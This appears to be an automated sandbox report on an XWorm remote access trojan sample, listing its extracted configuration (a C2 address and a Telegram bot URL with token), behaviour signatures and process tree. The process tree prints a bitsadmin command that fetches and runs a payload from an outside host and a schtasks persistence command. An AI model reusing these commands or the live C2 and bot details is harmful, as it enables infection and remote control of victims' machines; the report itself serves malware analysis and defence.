Overview

overview

10

Static

static

3

35217e0e9a...52.exe

windows10-2004-x64

10

35217e0e9a...52.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/08/2026, 15:17

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General

  • Target
    35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe
  • Size 121KB
  • Sample260815-spb2jayfmg
  • SHA256 35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
dropperexecutionxwormpersistenceprivilege_escalationrattrojan

Malware Config

Extracted

Family

  • xworm

C2

  • 45.141.27.211:6000

Attributes
  • Install_directory

    %AppData%

  • install_file

    system.exe

  • telegram

    https://api.telegram.org/bot8159101507:AAFU4ETqWUQIfaeNTGeEPX0kxelidWwGTpc/sendMessage?chat_id=8539272145

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Detect Xworm Payload 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe
    "C:\Users\Admin\AppData\Local\Temp\35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:784
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D234.tmp\D235.tmp\D236.bat C:\Users\Admin\AppData\Local\Temp\35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Windows\system32\bitsadmin.exe
        bitsadmin /transfer "FileDownload" /download /priority FOREGROUND "http://slumzick.in.th/system.exe" "C:\ProgramData\system.exe"
        3⤵
        • Download via BitsAdmin
        PID:3556
      • C:\ProgramData\system.exe
        "C:\ProgramData\system.exe"
        3⤵
        • Creates a file in the Startup directory
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4372
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\AppData\Roaming\system.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2420
  • C:\Users\Admin\AppData\Roaming\system.exe
    C:\Users\Admin\AppData\Roaming\system.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1376
  • C:\Users\Admin\AppData\Roaming\system.exe
    C:\Users\Admin\AppData\Roaming\system.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2340
  • C:\Users\Admin\AppData\Roaming\system.exe
    C:\Users\Admin\AppData\Roaming\system.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3472
  • C:\Users\Admin\AppData\Roaming\system.exe
    C:\Users\Admin\AppData\Roaming\system.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:5072

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        system.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\system.exe.log
        • Size 654B
        • SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        D236.bat
        • Path C:\Users\Admin\AppData\Local\Temp\D234.tmp\D235.tmp\D236.bat
        • Size 599B
        • SHA256 bb5563bd9919c6c64f7c748e2c914c27a91ee10c0acea45acbf522d21f15e1e0
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.exe
        • Path C:\Users\Admin\AppData\Roaming\system.exe
        • Size 55KB
        • SHA256 6f89a8ba676c0940c0bf9ea0940779a9559576ece8e14d8860597295db9bca3f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/4372-2-0x00000000001C0000-0x00000000001D4000-memory.dmp
        Download

        memory/4372-7-0x0000000002350000-0x0000000002360000-memory.dmp
        Download

        memory/4372-11-0x0000000002350000-0x0000000002360000-memory.dmp
        Download